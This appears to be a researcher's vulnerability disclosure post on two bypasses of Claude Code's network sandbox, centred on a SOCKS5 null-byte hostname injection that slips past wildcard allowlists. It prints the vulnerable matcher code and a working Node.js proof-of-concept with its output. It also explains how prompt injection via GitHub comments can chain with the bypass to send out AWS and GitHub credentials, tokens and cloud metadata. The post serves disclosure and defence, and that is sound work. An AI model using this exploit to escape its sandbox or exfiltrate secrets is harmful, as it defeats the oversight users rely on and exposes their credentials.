The first time, the sandbox heard “allow nothing” and did “allow everything” (CVE-2025-66479). This time, an attacker who runs code inside the sandbox can defeat any wildcard allowlist (e.g. *.google.com, *.anthropic.com) with a single null byte in a SOCKS5 hostname:
Policy sees: attacker-host.com\x00.google.com -> endsWith(".google.com") == true
Resolver sees: attacker-host.com -> actually dials blocked host
TL;DR
- The sandbox has been bypassable since it shipped. Two distinct bugs in Anthropic Claude Code’s network sandbox, both live from sandbox GA on 2025-10-20. Every release from
2.0.24through2.1.89was vulnerable to at least one of them. About 5.5 months and ~130 published versions. There was never a moment when the sandbox actually worked. - Finding 1 (CVE-2025-66479, recap): the user copied
allowedDomains: []from the doc to mean “block all outbound traffic.” Claude Code read it as “allow everything.” Patched in v2.0.55 on 2025-11-26, the same release that still shipped Finding 2 below. - Finding 2 (this post): SOCKS5 hostname null-byte injection. The user’s policy says
allow only *.google.com. The attacker sends a hostname likeattacker-host.com\x00.google.com. The filter sees the trailing.google.comand approves; the OS truncates at the null byte and dialsattacker-host.com. Silently fixed in v2.1.90 on 2026-04-01. - No Claude Code security advisory for either finding. No security note in the changelog, no CVE for Claude Code, no notice to users on the ~130 vulnerable releases. A user finds out only by reverse-engineering
cli.jsor reading this post. - What an attacker gets. Combined with prompt injection (e.g. a hidden instruction in a GitHub issue comment that Claude Code reads), anything inside the sandbox can be sent to any server on the internet. Credentials, source code, environment variables, internal data. Even when the user has restricted egress to a strict wildcard allowlist.
The Pattern
%%{init: {'theme':'base', 'themeVariables': {'fontSize':'14px','fontFamily':'-apple-system, BlinkMacSystemFont, sans-serif'}}}%%
sequenceDiagram
participant P as Sandboxed Process
participant SOCKS as SOCKS5 Proxy
(JS filter, on host)
participant DNS as getaddrinfo
(libc, on host)
participant T as Target
P->>SOCKS: CONNECT example.com\x00.google.com:80
Note over SOCKS: hostname.endsWith('.google.com')
= true → ALLOW
SOCKS->>DNS: resolve(example.com\x00.google.com)
Note over DNS: C string terminates at \x00
actually resolves "example.com"
DNS-->>SOCKS: A record for example.com
SOCKS->>T: TCP example.com:80
Note over T: Blocked host reached.
Outbound exfiltration channel open.
OS-level enforcement (sandbox-exec on macOS, bubblewrap on Linux) correctly pins the agent to localhost. The bypass lives in the SOCKS proxy the sandbox delegates egress decisions to, which runs on the host with full network privileges. Fool the proxy, and the host dials.
The Sandbox That Never Quite Closed
Claude Code’s network sandbox went GA on 2025-10-20 (v2.0.24, changelog: “Releasing a sandbox mode for the BashTool on Linux & Mac”). From that day until v2.1.90 shipped on 2026-04-01, every release was bypassable.
| Window | Status |
|---|---|
| 2025-10-20 (v2.0.24, sandbox GA) → 2025-11-26 (v2.0.55) | Vulnerable to BOTH bugs: CVE-2025-66479 and the SOCKS5 null-byte bypass. |
| 2025-11-26 (v2.0.55) → 2026-04-01 (v2.1.89) | Finding 1 patched. Finding 2 still live in every release. The version that fixed the first bypass shipped the second on the same day. |
| 2026-04-01 (v2.1.90) → present | Second bypass silently patched. |
Both times this sandbox has been examined by an outside researcher, the result was a complete bypass. One outside report is luck. Two is implementation.
Finding 1: “Allow Nothing” Was Read as “Allow Everything” (CVE-2025-66479, recap)
The first bypass: a user who wrote allowedDomains: [], the most restrictive setting the API offered (meaning block all outbound traffic), got the most permissive behavior. The check was allowedDomains.length > 0. An empty array evaluated to false and silently disabled the proxy. The user said “allow nothing.” The implementation heard “allow everything.”
CVE-2025-66479 was issued against sandbox-runtime on 2025-12-02. Claude Code itself, the product where users wrote allowedDomains: [] in settings.json and trusted the sandbox to enforce it, got no CVE, no advisory, no changelog flag. A team running that config in production from October 20 through November 26 had no way to know the sandbox was effectively off, and no notice afterwards that it had ever been off. The CVE shipped against a library most Claude Code users do not know exists by name.
Finding 2: SOCKS5 Hostname Null-Byte Injection
Policy sees: attacker-host.com\x00.google.com -> endsWith(".google.com") == true
Resolver sees: attacker-host.com -> actually dials blocked host
Real users write wildcard allowlists like *.google.com. The attacker sends a hostname with a null byte glued in the middle, e.g. attacker-host.com\x00.google.com. Claude Code’s filter sees the trailing .google.com and approves the connection. The OS truncates the same string at the null byte and dials attacker-host.com, the host the allowlist was supposed to block.
The SOCKS proxy hands the raw DOMAINNAME bytes from a CONNECT request straight into a JavaScript endsWith() check, with no canonicalization:
// sandbox-runtime <= 0.0.42
function matchesDomainPattern(hostname: string, pattern: string): boolean {
if (pattern.startsWith('*.')) {
const baseDomain = pattern.substring(2)
return hostname.toLowerCase().endsWith('.' + baseDomain.toLowerCase())
}
return hostname.toLowerCase() === pattern.toLowerCase()
}
JavaScript treats \x00 as just another UTF-16 code unit; libc getaddrinfo treats it as a string terminator. Same bytes, two interpretations.
Walkthrough in four boxes: policy, control test, exploit, AI’s own confirmation.
Reproducer
Two minimal Node.js scripts: test-block.mjs (control, plain hostname) and test-not-block.mjs (exploit, null-byte hostname). See the README for setup. With allowedDomains: ["*.google.com"] and ALL_PROXY=socks5h://... injected by the sandbox:
// test-not-block.mjs (exploit)
import net from 'node:net'
const [h,p] = process.env.ALL_PROXY.replace('socks5h://','').split(':')
const s = net.connect(parseInt(p), h, () => s.write(Buffer.from([5,1,0])))
s.once('data', () => {
const hb = Buffer.from('example.com\x00.google.com', 'binary')
const r = Buffer.allocUnsafe(7+hb.length)
r[0]=5;r[1]=1;r[2]=0;r[3]=3;r[4]=hb.length;hb.copy(r,5);r.writeUInt16BE(80,5+hb.length)
s.write(r)
s.once('data', d => console.log(d[1]===0x02 ? 'BLOCKED' : 'BYPASSED rep='+d[1].toString(16)))
})
❯ curl example.com ← normal HTTP path: BLOCKED
❯ node test-block.mjs ← raw SOCKS5, plain hostname: BLOCKED
❯ node test-not-block.mjs ← null-byte hostname: BYPASSED rep=0
rep=0x00 is REQUEST GRANTED. The proxy has dialed example.com:80 on behalf of the sandboxed process. The egress policy is no longer in effect, and the proxy is now an outbound exfiltration channel.
What an attacker exfiltrates, especially via prompt injection
The bypass is most dangerous when paired with prompt injection, the attack class I covered in Comment and Control. A hidden instruction in a GitHub issue comment, a README, or a doc page Claude Code reads is enough to get it to run attacker-controlled code in-sandbox. Until v2.1.90, that code could open this bypass and exfiltrate anything the sandbox could reach:
- Environment variables, credentials in
~/.aws/and~/.config/gh/, the GitHub token Claude Code authenticated with, the model API key. - Cloud metadata at
169.254.169.254, corporate intranet endpoints, internal APIs the host can reach. - Routed back out through the proxy that was supposed to gate it, on a channel basic egress logs do not inspect (raw SOCKS5, not HTTP).
For anyone who ran Claude Code with a wildcard allowlist on a credential-bearing system, the network boundary did not exist for the 5.5 months from sandbox GA to v2.1.90. Treat that window as a potential exfiltration event.
Status
Fixed in sandbox-runtime 0.0.43 (fd74a3f) via isValidHost(), which rejects \x00, %, CRLF, and other non-DNS characters before the matcher runs. Affected Claude Code: every release from 2.0.24 (sandbox GA) through 2.1.89, verified across all ~130 published versions. Fixed in Claude Code 2.1.90. The release notes say nothing about a security fix.
The Common Root Cause
| Finding 1: CVE-2025-66479 | Finding 2: this article | |
|---|---|---|
| Trigger config | allowedDomains: [] | Wildcard allowlist (*.google.com) |
| Filter sees | 0 > 0 = false → no proxy | endsWith(".google.com") = true → allow |
| OS sees | No proxy attached → unrestricted | getaddrinfo truncates at \x00 → blocked host resolved |
| Class | Configuration semantics | Parser differential |
| CVE for sandbox-runtime | CVE-2025-66479 (CVSS 1.8) | None as of 2026-05-10 |
| CVE for Claude Code | None | None |
| Claude Code advisory | None | None |
The Disclosure Experience
I discovered the bypass against a live, vulnerable Claude Code installation earlier this year and reported it to Anthropic VDP via HackerOne #3646509.
“Thank you for your report. After reviewing this submission, we’ve determined it’s a duplicate of an existing internal report we’re already tracking.” — Anthropic (VDP), 2026-04-04
When I asked about the CVE plan, the answer was:
“We have not yet decided whether a CVE will be published for this issue and can’t share a timeline on that decision.” — Anthropic (VDP), 2026-04-07
Five and a half weeks after the silent fix, Anthropic has not said a word
Since the patch shipped, Anthropic has issued:
- No advisory. The Claude Code security advisories page has nothing to say about either finding. The product where users actually configured
allowedDomainsinsettings.jsonand trusted the sandbox to enforce it has, to date, never published a security advisory for any sandbox vulnerability. - No CVE. Not for sandbox-runtime, not for Claude Code, not for the bypass at all. CVE-2025-66479 (Finding 1) is still the only one on record. Confirmed via NVD and the GitHub Advisory Database on 2026-05-10.
- No changelog note. The v2.1.90 release notes describe internal fixes, full stop.
- No outreach. Teams that ran a wildcard allowlist on a credential-bearing system for 5.5 months are not getting an email, a banner, or a deprecation warning. They just upgrade and assume the sandbox always worked.
The fix exists in committed code. The acknowledgment does not exist anywhere a user could find it. A customer on v2.1.89 reading the v2.1.90 release notes today would conclude their sandbox has been fine all along.
The Wrapper That Should Have Existed
One detail worth lingering on. Anthropic’s network egress boundary for Claude Code rides on @pondwader/socks5-server, an obscure third-party package: 10 GitHub stars, 1 fork, 3 issues filed in its entire history, last commit 2024-06-29. Its ~155K weekly npm downloads come almost entirely from sandbox-runtime itself.
Picking a niche dependency is fine. Shipping it as a security boundary without canonicalization at the trust boundary between two runtimes is not. sandbox-runtime 0.0.42 handed the raw DOMAINNAME bytes from the SOCKS request straight into a JavaScript endsWith() check, with no null-byte rejection, no length cap, no character whitelist. The 0.0.43 patch is exactly the isValidHost() wrapper that should have existed from sandbox GA. Whenever a security boundary spans two runtimes (JavaScript and libc here; userspace and kernel elsewhere), the consumer of the lower-level library owes a canonicalization layer at the seam.
Timeline
| When | Event |
|---|---|
| October 2025 | Claude Code v2.0.24 ships the network sandbox feature. Vulnerable from day one to both findings. |
| November 2025 | Finding 1 reported (HackerOne #3437855) and silently fixed in v2.0.55, the same release that still shipped Finding 2. |
| December 2025 | CVE-2025-66479 published for sandbox-runtime only, not Claude Code. |
| Early 2026 | Finding 2 discovered against vulnerable Claude Code installations. |
| April 2026 | Finding 2 reported to Anthropic VDP (HackerOne #3646509). Claude Code v2.1.90 silently ships the fix around the same time, with no security note in the release. Report closed as Duplicate. |
| May 2026 | Public disclosure. Still no CVE for this bypass in NVD or the GitHub Advisory Database. |
FAQ
What’s the worst part of a broken sandbox?
The bad outcome for a sandbox is giving people a false sense of safety. Shipping a sandbox with a hole is worse than not shipping one. The user with no sandbox knows they have no boundary. The user with a broken sandbox thinks they do. The user configures allowedDomains, sees the proxy block their tests, and trusts the boundary. From there, they hand the agent credentials and point it at internal endpoints. The boundary has a hole, but the user has no way to know.
What is a SOCKS5 null-byte injection, in plain terms?
A class of parser-differential bug where two layers of code disagree on what a hostname string means. Claude Code’s sandbox parses the SOCKS5 CONNECT request’s hostname field with a JavaScript endsWith() check against the user’s wildcard allowlist. The same string is then handed to the OS’s libc getaddrinfo() for DNS resolution. JavaScript sees a string ending in .google.com. libc sees a C string that terminates at the first null byte. Same bytes, two interpretations. The attacker controls the bytes, and the filter and the resolver agree on different hostnames.
How is this different from the first Claude Code sandbox bypass (CVE-2025-66479)?
Different mechanism, identical outcome. CVE-2025-66479 was a configuration-semantics bug: allowedDomains: [] was read as “no allowlist, no proxy” instead of “block everything.” This one is a string-encoding bug at the policy/resolver boundary. Both let a process inside the sandbox reach hosts the user’s policy says to block. Both shipped silently fixed, without a Claude Code CVE or advisory. The pattern matters more than the specifics: both outside reports against this sandbox returned a complete bypass.
How seriously should I take a vendor’s network allowlist?
As defense-in-depth, not as a boundary. An allowlist is a vendor implementation at a trust boundary that has to get parsing, canonicalization, byte-level encoding, and Unicode normalization correct at all times. Both outside reports against Claude Code’s sandbox returned a complete bypass. Plausible next variants involve whatever encoding the OS layer might disagree with the JS layer about: Unicode normalization, IDN homographs, percent-encoded escapes, trailing dots, IPv6 zone identifiers.
Whose job is it to keep credentials out of these agents?
Yours. The vendor sandbox is one layer; treat it as the inner ring, not the boundary. The defensible stack underneath has at least four parts. An outer sandbox the agent cannot see or influence: a disposable VM, a container with no IAM role, a network namespace with no route to your intranet. If the vendor’s in-process sandbox is bypassed (twice, now), the outer layer is the actual boundary. Credential hygiene: no long-lived API keys on developer laptops where an agent can read them. Pre-execution policy hooks: validate intended tool calls before the agent runtime acts on them — allowlist-only tool sets, denied path prefixes, semantic review of the action about to be taken. Network egress controls outside the agent: a firewall or cloud egress rule the agent cannot influence, plus audit logs that capture SOCKS-mediated traffic, not just HTTP. Any one of these would have contained this bypass. None is a feature of Claude Code.
Am I still vulnerable today?
Only if you run Claude Code 2.0.24 – 2.1.89 and use a wildcard allowlist (e.g. *.google.com). Update to 2.1.90 or later (check with claude --version). If you ran a wildcard allowlist on a credential-bearing system between 2025-10-20 and your upgrade date, audit outbound logs for SOCKS-mediated connections outside the allowlist and rotate reachable credentials.
References
Advisories and code
- HackerOne: Report #3646509 (Anthropic VDP)
- PoC scripts:
test-block.mjs,test-not-block.mjs, README - Fix commit:
anthropic-experimental/sandbox-runtime@fd74a3f - Pre-fix vulnerable code:
socks-proxy.tsv0.0.42 andsandbox-manager.tsv0.0.42 - npm: @anthropic-ai/sandbox-runtime
Prior work
- CVE-2025-66479: Anthropic’s Silent Fix and the CVE That Claude Code Never Got
- Comment and Control: Prompt Injection to Credential Theft in Claude Code, Gemini CLI, and GitHub Copilot Agent
- Agent SkillSlip: Path Traversal in Google Gemini CLI, Anthropic Claude Code, and Vercel add-skill
Background
- SOCKS5 Protocol (RFC 1928)
- HTTP Request Smuggling (Watchfire 2005), canonical example of the parser differential class
- CWE-158: Improper Neutralization of Null Byte or NUL Character
- CWE-436: Interpretation Conflict
Aonan Guan | Lead Cloud & AI Security at Wyze Labs | Security Researcher LinkedIn · GitHub · oddguan.com
Prior research on the “Comment and Control” prompt-injection attack chain has been covered by The Verge, The Register, The Next Web, SecurityWeek, Cybernews, Security Boulevard, and Xataka. The Anthropic MCP Git Server work (CVE-2025-68143) was covered by The Hacker News, Dark Reading, Infosecurity Magazine, and CSO Online, plus briefings on SANS ISC Stormcast and the McCrary Institute Cyber Briefing. Combined coverage: 60+ outlets, 25+ countries, 15+ languages. Invited speaker at BSidesSF 2026 and Black Hat Asia 2026.
